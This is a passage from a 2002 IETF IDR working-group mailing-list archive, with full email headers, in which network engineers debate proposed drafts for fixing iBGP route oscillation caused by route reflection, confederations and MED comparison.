error, please notify the originator immediately. If you are not the intended recipient, you are notified that you are strictly prohibited from using, copying, altering, or disclosing the contents of this message. HSS accepts no responsibility for loss or damage arising from the use of the information transmitted by this email including damage from virus. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id RAA08441 for ; Thu, 30 May 2002 17:34:53 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 64B00912A4; Thu, 30 May 2002 17:33:28 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 2FF34912A5; Thu, 30 May 2002 17:33:28 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id DE629912A4 for ; Thu, 30 May 2002 17:33:21 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 765045DD90; Thu, 30 May 2002 17:33:15 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 2284F5DD8F for ; Thu, 30 May 2002 17:33:15 -0400 (EDT) Received: from roque-bsd.juniper.net (roque-bsd.juniper.net [172.17.12.183]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4ULXLm25515; Thu, 30 May 2002 14:33:21 -0700 (PDT) (envelope-from roque@juniper.net) Received: (from roque@localhost) by roque-bsd.juniper.net (8.11.1/8.9.3) id g4ULXL461666; Thu, 30 May 2002 14:33:21 -0700 (PDT) (envelope-from roque) Date: Thu, 30 May 2002 14:33:21 -0700 (PDT) Message-Id: <200205302133.g4ULXL461666@roque-bsd.juniper.net> From: Pedro Roque Marques MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Jeffrey Haas Cc: idr@merit.edu Subject: Re: iBGP route oscillation drafts In-Reply-To: <20020530191906.GD24844@nexthop.com> References: <200205301801.g4UI1Kb61364@roque-bsd.juniper.net> <20020530190228.E2113979C1@popserv2.redback.com> <200205301912.g4UJCjl61496@roque-bsd.juniper.net> <20020530191906.GD24844@nexthop.com> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Sender: owner-idr@merit.edu Precedence: bulk Jeffrey Haas writes: > On Thu, May 30, 2002 at 12:12:45PM -0700, Pedro Roque Marques wrote: >> I believe the main question is which routers need to advertise >> what. I've mentioned in previous e-mails, i beilieve that the >> behaviour changes need to affect all the iBGP speakers of a mesh to >> be effective. > Not all iBGP speakers - only the reflecting agents, whether they be > route reflectors or confederation routers. Your EBGP speakers don't > need the additional route instances. I disagree. There are 2 questions... 1) Do non reflecting ibgp speakers needs behaviour changes... 2) Do non reflecting ibgp speakers need to have availiable all best per group paths in order to make a non-oscilating/stable decision. I believe the answer to both questions is yes. I think that 1) is very easy to prove... take an AS with a single RR in the top level mesh. If non of the other speakers has any behaviour change then your are left with the exact same end result that you have today as ibgp mesh speakers withrawn their previous best routes. 2) is a question of if you believe that oscilation requires reflection/confed to occur or not. Or of how complete the 'fix' to the problem should be. Pedro. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA03797 for ; Thu, 30 May 2002 15:19:56 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id B204791296; Thu, 30 May 2002 15:19:25 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 8191B91297; Thu, 30 May 2002 15:19:25 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 77B1A91296 for ; Thu, 30 May 2002 15:19:24 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 0C9425DDDB; Thu, 30 May 2002 15:19:18 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 7DFEC5DDBC for ; Thu, 30 May 2002 15:19:17 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g4UJJML79539; Thu, 30 May 2002 15:19:22 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: from jhaas.nexthop.com (jhaas.nexthop.com [64.211.218.31]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g4UJJC979500; Thu, 30 May 2002 15:19:12 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: (from jhaas@localhost) by jhaas.nexthop.com (8.11.0/8.11.0) id g4UJJ6p01862; Thu, 30 May 2002 15:19:06 -0400 (EDT) Date: Thu, 30 May 2002 15:19:06 -0400 From: Jeffrey Haas To: Pedro Roque Marques Cc: idr@merit.edu Subject: Re: iBGP route oscillation drafts Message-ID: <20020530191906.GD24844@nexthop.com> References: <200205301801.g4UI1Kb61364@roque-bsd.juniper.net> <20020530190228.E2113979C1@popserv2.redback.com> <200205301912.g4UJCjl61496@roque-bsd.juniper.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200205301912.g4UJCjl61496@roque-bsd.juniper.net> User-Agent: Mutt/1.3.99i X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk On Thu, May 30, 2002 at 12:12:45PM -0700, Pedro Roque Marques wrote: > I believe the main question is which routers need to advertise > what. I've mentioned in previous e-mails, i beilieve that the > behaviour changes need to affect all the iBGP speakers of a mesh to be > effective. Not all iBGP speakers - only the reflecting agents, whether they be route reflectors or confederation routers. Your EBGP speakers don't need the additional route instances. -- Jeff Haas NextHop Technologies Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA03557 for ; Thu, 30 May 2002 15:13:25 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 67DCB91295; Thu, 30 May 2002 15:12:54 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 3169B91296; Thu, 30 May 2002 15:12:54 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id E6E3591295 for ; Thu, 30 May 2002 15:12:52 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 758115DE90; Thu, 30 May 2002 15:12:46 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 1F99D5DE88 for ; Thu, 30 May 2002 15:12:46 -0400 (EDT) Received: from roque-bsd.juniper.net (roque-bsd.juniper.net [172.17.12.183]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4UJCjm16107; Thu, 30 May 2002 12:12:45 -0700 (PDT) (envelope-from roque@juniper.net) Received: (from roque@localhost) by roque-bsd.juniper.net (8.11.1/8.9.3) id g4UJCjl61496; Thu, 30 May 2002 12:12:45 -0700 (PDT) (envelope-from roque) Date: Thu, 30 May 2002 12:12:45 -0700 (PDT) Message-Id: <200205301912.g4UJCjl61496@roque-bsd.juniper.net> From: Pedro Roque Marques MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Enke Chen Cc: "John G. Scudder" , idr@merit.edu Subject: Re: iBGP route oscillation drafts In-Reply-To: <20020530190228.E2113979C1@popserv2.redback.com> References: <200205301801.g4UI1Kb61364@roque-bsd.juniper.net> <20020530190228.E2113979C1@popserv2.redback.com> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Sender: owner-idr@merit.edu Precedence: bulk Enke Chen writes: > Agreed. IMO, if we were to tackle this issue, we should try to find > a complete solution (possibly with multiple deployment mode). > As has been pointed out before, the original BGP spec (RFC 1771) has > a solution, that is, advertising all external routes to IBGP peers > although it does not specify the necessary protocol to do so. The RR > and confed introduce abstraction/summarization. It seems that the > probability of route oscillation increases as the level of this > abstraction increases. It sounds right. > It is certtainly true that scalability is a major concern as more > paths are advertised. However, not all networks are of the same size > and not all netowrks have the route oscillation problem (or the same > problem). Once there is a mechanism (such as the one proposed) in > BGP to advertise and withdraw multiple paths, I imagine there could > be different levels of advertisement by the RR, depending on > customer needs and controlled by configuration: > Level 0: Advertise only the best path (the default behavior) > Level 1: Level 0 + Advertise the best of each external neighbor > AS. > Level 2: Level 1 + Advertise all eligible paths. I don't think you ever need to advertise all eligible paths... only the best of each neighbor AS. I believe the main question is which routers need to advertise what. I've mentioned in previous e-mails, i beilieve that the behaviour changes need to affect all the iBGP speakers of a mesh to be effective. i.e. withing a ibgp cloud (a set of peers meshed together) all routers need to know the best of all neighbor AS paths for path seletion to be deterministic. > Does this makes sense? A gradual aproach seems to make sense. Pedro. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA03190 for ; Thu, 30 May 2002 15:03:15 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 610C791294; Thu, 30 May 2002 15:02:51 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 30A1791295; Thu, 30 May 2002 15:02:51 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 173B891294 for ; Thu, 30 May 2002 15:02:31 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 8B05F5DE88; Thu, 30 May 2002 15:02:24 -0400 (EDT) Delivered-To: idr@merit.edu Received: from prattle.redback.com (prattle.redback.com [155.53.12.9]) by segue.merit.edu (Postfix) with ESMTP id 145FB5DDBC for ; Thu, 30 May 2002 15:02:24 -0400 (EDT) Received: from popserv2.redback.com (popserv2.redback.com [155.53.12.59]) by prattle.redback.com (Postfix) with ESMTP id DC56FF2C4D; Thu, 30 May 2002 12:02:29 -0700 (PDT) Received: from redback.com (fall.redback.com [155.53.36.220]) by popserv2.redback.com (Postfix) with ESMTP id E2113979C1; Thu, 30 May 2002 12:02:27 -0700 (PDT) To: Pedro Roque Marques Cc: "John G. Scudder" , idr@merit.edu, enke@redback.com Subject: Re: iBGP route oscillation drafts In-Reply-To: Message from Pedro Roque Marques of "Thu, 30 May 2002 11:01:20 PDT." <200205301801.g4UI1Kb61364@roque-bsd.juniper.net> Date: Thu, 30 May 2002 12:02:27 -0700 From: Enke Chen Message-Id: <20020530190228.E2113979C1@popserv2.redback.com> Sender: owner-idr@merit.edu Precedence: bulk Hi, folks: > Date: Thu, 30 May 2002 11:01:20 -0700 (PDT) > Message-Id: <200205301801.g4UI1Kb61364@roque-bsd.juniper.net> > From: Pedro Roque Marques > To: "John G. Scudder" > Cc: idr@merit.edu > Subject: Re: iBGP route oscillation drafts > In-Reply-To: > References: > <3CF62B7A.A5C592AF@research.bell-labs.com> > > > John G Scudder writes: > > > My take on the subject is that while theoretical protocol > > correctness is an admirable goal, it's not more important than > > scalability. Protocol scalability plus _practical_ protocol > > correctness is more important, IMO. > > Yes, but the problem of the 'pratical'/'realistic' criteria is that it > is not static... it may change has applications do change or just > because a given scenario was not considered. Agreed. IMO, if we were to tackle this issue, we should try to find a complete solution (possibly with multiple deployment mode). As has been pointed out before, the original BGP spec (RFC 1771) has a solution, that is, advertising all external routes to IBGP peers although it does not specify the necessary protocol to do so. The RR and confed introduce abstraction/summarization. It seems that the probability of route oscillation increases as the level of this abstraction increases. It is certtainly true that scalability is a major concern as more paths are advertised. However, not all networks are of the same size and not all netowrks have the route oscillation problem (or the same problem). Once there is a mechanism (such as the one proposed) in BGP to advertise and withdraw multiple paths, I imagine there could be different levels of advertisement by the RR, depending on customer needs and controlled by configuration: Level 0: Advertise only the best path (the default behavior) Level 1: Level 0 + Advertise the best of each external neighbor AS. Level 2: Level 1 + Advertise all eligible paths. A non-RR could also be in Level 0, or Level 1 for advertising its external routes to IBGP. The proposed solution in draft-walton-etc seems to fit the Level 1 advertisement (for both RR and non-RR). It seems that the scenario described in draft-wilfong-etc can be addressed by Level 2 on RR and Level 1 on non-RR. Does this makes sense? -- Enke Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA02973 for ; Thu, 30 May 2002 14:56:38 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 6702591293; Thu, 30 May 2002 14:55:49 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 367FD91294; Thu, 30 May 2002 14:55:49 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id C374F91293 for ; Thu, 30 May 2002 14:55:47 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 4BC8C5DDE6; Thu, 30 May 2002 14:55:41 -0400 (EDT) Delivered-To: idr@merit.edu Received: from crufty.research.bell-labs.com (ns2.research.bell-labs.com [204.178.16.49]) by segue.merit.edu (Postfix) with ESMTP id 1FC2E5DDBC for ; Thu, 30 May 2002 14:55:41 -0400 (EDT) Received: from scummy.research.bell-labs.com (H-135-104-2-10.research.bell-labs.com [135.104.2.10]) by crufty.research.bell-labs.com (8.12.2/8.12.2) with ESMTP id g4UItVEF088585; Thu, 30 May 2002 14:55:31 -0400 (EDT) Received: from mcs.research.bell-labs.com (mcs.research.bell-labs.com [135.104.32.15]) by scummy.research.bell-labs.com (8.11.6/8.11.6) with ESMTP id g4UItOk92347; Thu, 30 May 2002 14:55:25 -0400 (EDT) Received: from disney.research.bell-labs.com (disney.research.bell-labs.com [135.104.32.16]) by mcs.research.bell-labs.com (8.9.3/8.8.8) with ESMTP id OAA1658888; Thu, 30 May 2002 14:55:24 -0400 (EDT) Received: from disney (localhost [127.0.0.1]) by disney.research.bell-labs.com (8.7.6/8.7.3) with SMTP id OAA05820; Thu, 30 May 2002 14:55:24 -0400 (EDT) Message-ID: <3CF6759C.388F@research.bell-labs.com> Date: Thu, 30 May 2002 14:55:24 -0400 From: Gordon Wilfong X-Mailer: Mozilla 3.01Gold (X11; I; IRIX 6.3 IP32) MIME-Version: 1.0 To: Anindya Basu Cc: "John G. Scudder" , Brijesh Kumar , gtw@lucent.com, anindyabasu , bshep@lucent.com, idr@merit.edu Subject: Re: iBGP route oscillation drafts References: <3CF62B7A.A5C592AF@research.bell-labs.com> <3CF65419.B4FA799A@research.bell-labs.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk Anindya, I apologize, but I think I might have mislead you somewhat. The example we have is of a system that suffers from persistent route oscillations when MEDs are compared, but that converges when MEDs are ignored. Thus in my terminology, this system has a MED induced oscillation problem. I'm not sure however if this is what others mean by the MED induced oscillation problem. - Gordon Anindya Basu wrote: > > John, in addition to Bruce's comments, here are my $0.02. > -Anindya > > "John G. Scudder" wrote: > > The MED problem is real enough. However, as we've been discussing in > > a different thread, your proposal is more far-reaching than just > > addressing [3]. Specifically: > > > > At 1:26 PM -0400 5/29/02, Anindya Basu wrote: > > >However, our aim was to address the elimination of any possible kind > > >of oscillation in I-BGP, MED-induced or not, persistent or not. > > > > That's laudable in the abstract but inevitably leads to the > > requirement that you advertise more additional routes than required > > to fix specifically [3]. > > The comment you refer to here was made in the context of Alvaro's > comment that their solution was designed only to eliminate MED-induced > oscillations. We now have an example where the oscillations are > MED-induced, which our solution fixes but the solution proposed by > Alvaro > et. al. does not. In that sense, sending around the extra routes is > *necessary* to eliminate even MED-induced oscillations alone. > > > My take on the subject is that while theoretical protocol correctness > > is an admirable goal, it's not more important than scalability. > > Protocol scalability plus _practical_ protocol correctness is more > > important, IMO. > > > > As you yourself point out in draft-wilfong-ibgp-oscillations-00.txt: > > >Admittedly, the configuration in Figure 1 is not likely in a > > >reasonable network. > > > > I think the IDR working group should be primarily concerned with > > reasonable networks. Fixing problems for unreasonable (or > > hypothetical) networks seems fine as long as it doesn't conflict with > > the operation and scaling of reasonable ones. > > > > Do you disagree? > > In principle, I do agree with what you say. However, the question is > what we mean by _practical_ protocol correctness, as you call it. > Moreover, I think we pointed out in an earlier mail (and I quote): > > "We feel that our example is no less real than the one outlined in the > McPherson I-D since that example also critically relies on a route > reflector preferring a route through the client of a different route > reflector (due to IGP metrics)." > > Also, there may be some danger in equating "real" configurations with > configurations that are "safe" (i.e., that do not produce oscillations). > We cannot say for sure that a "real" configuration (produced by using > heuristics or rules of thumb) will never produce MED-induced (or any > other kinds of) oscillations. Finally, detecting configurations that are > safe is NP-hard, as we have shown in the SIGCOMM paper (reference [5], > soon to be available from the ACM SIGCOMM website). Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA02063 for ; Thu, 30 May 2002 14:29:49 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id BBA6D91290; Thu, 30 May 2002 14:29:15 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 892C691291; Thu, 30 May 2002 14:29:15 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 6164D91290 for ; Thu, 30 May 2002 14:29:13 -0400 (EDT) Received: by segue.merit.edu (Postfix) id E5F6A5DDE6; Thu, 30 May 2002 14:29:06 -0400 (EDT) Delivered-To: idr@merit.edu Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by segue.merit.edu (Postfix) with ESMTP id 61F3B5DDBC for ; Thu, 30 May 2002 14:29:06 -0400 (EDT) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA01083; Thu, 30 May 2002 14:28:44 -0400 (EDT) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA25405; Thu, 30 May 2002 14:28:43 -0400 (EDT) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Thu, 30 May 2002 14:28:42 -0400 Message-ID: <39469E08BD83D411A3D900204840EC558226FC@vie-msgusr-01.dc.fore.com> From: "Abarbanel, Benjamin" To: "'John G. Scudder'" , Anindya Basu Cc: Brijesh Kumar , gtw@lucent.com, anindyabasu , bshep@lucent.com, idr@merit.edu Subject: RE: iBGP route oscillation drafts Date: Thu, 30 May 2002 14:28:40 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-idr@merit.edu Precedence: bulk I have been following this thread on iBGP route oscillation drafts and one fundamental thought comes to mind. Each solution in its use will/might work and solve the problem but the problem in a general sense is still there. What I mean, if the route reflectors or Confederation topology is configured slightly off the expected "realistic" case route oscillation will return. So the question whether we should consider hypothetical or realistic network topologies is a false one. Why, the minute an operator mis-configures his network he ends up with the "hypothetical network" and during the time it takes him/her to figure out what happened his routers are oscillating/churning their routes. I dont think these solutions will scale or affort an answer that will solve this rather crucial issue. Network meltdown will commense assuming the oscillation condition is not repaired in a timely manner. I propose another approach to the problem. Dont try to fix the problem, try to control it in software. I have some ideas in mind on how to better control route oscillations. I dont know if a draft is a way to go or just casual discussions on the list. Any suggestions are welcomed? Regards, Ben -----Original Message----- From: John G. Scudder [mailto:jgs@cisco.com] Sent: Thursday, May 30, 2002 12:54 PM To: Anindya Basu Cc: Brijesh Kumar; gtw@lucent.com; anindyabasu; bshep@lucent.com; idr@merit.edu Subject: Re: iBGP route oscillation drafts At 12:32 PM -0400 5/30/02, Anindya Basu wrote: >The comment you refer to here was made in the context of Alvaro's >comment that their solution was designed only to eliminate MED-induced >oscillations. We now have an example where the oscillations are >MED-induced, which our solution fixes but the solution proposed by >Alvaro >et. al. does not. In that sense, sending around the extra routes is >*necessary* to eliminate even MED-induced oscillations alone. OK, can you share your example? (It would be more interesting if it corresponds to a somewhat realistic network configuration.) >In principle, I do agree with what you say. However, the question is >what we mean by _practical_ protocol correctness, as you call it. Fair enough. I mean correctness of the protocol when the problem domain is constrained to networks designed according to various well-known guidelines (heuristics, rules of thumb, etc). One such guideline can be found in RFC 2796: In general, the route reflection topology should congruent with the network topology Clearly the example in your draft doesn't conform to this guideline. >Moreover, I think we pointed out in an earlier mail (and I quote): > >"We feel that our example is no less real than the one outlined in the >McPherson I-D since that example also critically relies on a route >reflector preferring a route through the client of a different route >reflector (due to IGP metrics)." You think it's "no less real". Others (me included, according to the criteria stated above) do think it's "less real". Shall we agree to disagree? --John Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA01023 for ; Thu, 30 May 2002 14:02:10 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id DCFAF9128E; Thu, 30 May 2002 14:01:22 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id A1ED49128F; Thu, 30 May 2002 14:01:22 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 531E79128E for ; Thu, 30 May 2002 14:01:21 -0400 (EDT) Received: by segue.merit.edu (Postfix) id CE25F5DDD0; Thu, 30 May 2002 14:01:14 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 7558C5DDBC for ; Thu, 30 May 2002 14:01:14 -0400 (EDT) Received: from roque-bsd.juniper.net (roque-bsd.juniper.net [172.17.12.183]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4UI1Km10587; Thu, 30 May 2002 11:01:20 -0700 (PDT) (envelope-from roque@juniper.net) Received: (from roque@localhost) by roque-bsd.juniper.net (8.11.1/8.9.3) id g4UI1Kb61364; Thu, 30 May 2002 11:01:20 -0700 (PDT) (envelope-from roque) Date: Thu, 30 May 2002 11:01:20 -0700 (PDT) Message-Id: <200205301801.g4UI1Kb61364@roque-bsd.juniper.net> From: Pedro Roque Marques MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: "John G. Scudder" Cc: idr@merit.edu Subject: Re: iBGP route oscillation drafts In-Reply-To: References: <3CF62B7A.A5C592AF@research.bell-labs.com> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Sender: owner-idr@merit.edu Precedence: bulk John G Scudder writes: > My take on the subject is that while theoretical protocol > correctness is an admirable goal, it's not more important than > scalability. Protocol scalability plus _practical_ protocol > correctness is more important, IMO. Yes, but the problem of the 'pratical'/'realistic' criteria is that it is not static... it may change has applications do change or just because a given scenario was not considered. I might be wrong of course and it may be that the only pratical scenarios we will ever find of this problem are the ones documented in the McPherson draft... still it would be nice to have stronger guarantees than what we have currently. If we where talking about an operational change or a small change that is simple to implement (in both code and networks), dealing with the known corner cases, would probably be a consensual thing to do. However since we are talking about pretty significant changes being proposed i expect there would be a bit more of controversy in the WG concerning the cost/impact of the proposed fix vs theoretical/pratical aspects... i.e. if the cost of deploying a solution is high it would be really nice if it could fix the root cause of the problem instead of the known symptoms. Pedro. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id NAA29400 for ; Thu, 30 May 2002 13:21:27 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id BE7759128C; Thu, 30 May 2002 13:20:49 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 89DE79128D; Thu, 30 May 2002 13:20:49 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 7C0509128C for ; Thu, 30 May 2002 13:20:48 -0400 (EDT) Received: by segue.merit.edu (Postfix) id F31335DDD3; Thu, 30 May 2002 13:20:41 -0400 (EDT) Delivered-To: idr@merit.edu Received: from cisco.com (router.cisco.com [171.69.182.20]) by segue.merit.edu (Postfix) with ESMTP id 28EDE5DDBC for ; Thu, 30 May 2002 13:20:41 -0400 (EDT) Received: from [171.69.182.155] (dhcp-171-69-182-155.cisco.com [171.69.182.155]) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id NAA20490; Thu, 30 May 2002 13:07:37 -0400 (EDT) Mime-Version: 1.0 X-Sender: jgs@router Message-Id: In-Reply-To: <3CF65419.B4FA799A@research.bell-labs.com> References: <3CF62B7A.A5C592AF@research.bell-labs.com> <3CF65419.B4FA799A@research.bell-labs.com> Date: Thu, 30 May 2002 12:54:16 -0400 To: Anindya Basu From: "John G. Scudder" Subject: Re: iBGP route oscillation drafts Cc: Brijesh Kumar , gtw@lucent.com, anindyabasu , bshep@lucent.com, idr@merit.edu Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-idr@merit.edu Precedence: bulk At 12:32 PM -0400 5/30/02, Anindya Basu wrote: >The comment you refer to here was made in the context of Alvaro's >comment that their solution was designed only to eliminate MED-induced >oscillations. We now have an example where the oscillations are >MED-induced, which our solution fixes but the solution proposed by >Alvaro >et. al. does not. In that sense, sending around the extra routes is >*necessary* to eliminate even MED-induced oscillations alone. OK, can you share your example? (It would be more interesting if it corresponds to a somewhat realistic network configuration.) >In principle, I do agree with what you say. However, the question is >what we mean by _practical_ protocol correctness, as you call it. Fair enough. I mean correctness of the protocol when the problem domain is constrained to networks designed according to various well-known guidelines (heuristics, rules of thumb, etc). One such guideline can be found in RFC 2796: In general, the route reflection topology should congruent with the network topology Clearly the example in your draft doesn't conform to this guideline. >Moreover, I think we pointed out in an earlier mail (and I quote): > >"We feel that our example is no less real than the one outlined in the >McPherson I-D since that example also critically relies on a route >reflector preferring a route through the client of a different route >reflector (due to IGP metrics)." You think it's "no less real". Others (me included, according to the criteria stated above) do think it's "less real". Shall we agree to disagree? --John Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id MAA27559 for ; Thu, 30 May 2002 12:34:23 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 5A5E591287; Thu, 30 May 2002 12:33:54 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 27E4291288; Thu, 30 May 2002 12:33:54 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id C301391287 for ; Thu, 30 May 2002 12:33:52 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 5047A5DE90; Thu, 30 May 2002 12:33:46 -0400 (EDT) Delivered-To: idr@merit.edu Received: from crufty.research.bell-labs.com (ns2.research.bell-labs.com [204.178.16.49]) by segue.merit.edu (Postfix) with ESMTP id D33B05DDD3 for ; Thu, 30 May 2002 12:33:45 -0400 (EDT) Received: from grubby.research.bell-labs.com (H-135-104-2-9.research.bell-labs.com [135.104.2.9]) by crufty.research.bell-labs.com (8.12.2/8.12.2) with ESMTP id g4UGWWEF087502; Thu, 30 May 2002 12:32:32 -0400 (EDT) Received: from nslocum.cs.bell-labs.com (nslocum.cs.bell-labs.com [135.104.8.38]) by grubby.research.bell-labs.com (8.11.6/8.11.6) with ESMTP id g4UGWQo89360; Thu, 30 May 2002 12:32:26 -0400 (EDT) Received: from research.bell-labs.com (basu-t23.ddns.bell-labs.com [135.104.52.191]) by nslocum.cs.bell-labs.com (8.12.2/8.12.2) with ESMTP id g4UGWPjq59976852; Thu, 30 May 2002 12:32:25 -0400 (EDT) Message-ID: <3CF65419.B4FA799A@research.bell-labs.com> Date: Thu, 30 May 2002 12:32:25 -0400 From: Anindya Basu X-Mailer: Mozilla 4.76 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: "John G. Scudder" Cc: Brijesh Kumar , gtw@lucent.com, anindyabasu , bshep@lucent.com, idr@merit.edu Subject: Re: iBGP route oscillation drafts References: <3CF62B7A.A5C592AF@research.bell-labs.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk John, in addition to Bruce's comments, here are my $0.02. -Anindya "John G. Scudder" wrote: > The MED problem is real enough. However, as we've been discussing in > a different thread, your proposal is more far-reaching than just > addressing [3]. Specifically: > > At 1:26 PM -0400 5/29/02, Anindya Basu wrote: > >However, our aim was to address the elimination of any possible kind > >of oscillation in I-BGP, MED-induced or not, persistent or not. > > That's laudable in the abstract but inevitably leads to the > requirement that you advertise more additional routes than required > to fix specifically [3]. The comment you refer to here was made in the context of Alvaro's comment that their solution was designed only to eliminate MED-induced oscillations. We now have an example where the oscillations are MED-induced, which our solution fixes but the solution proposed by Alvaro et. al. does not. In that sense, sending around the extra routes is 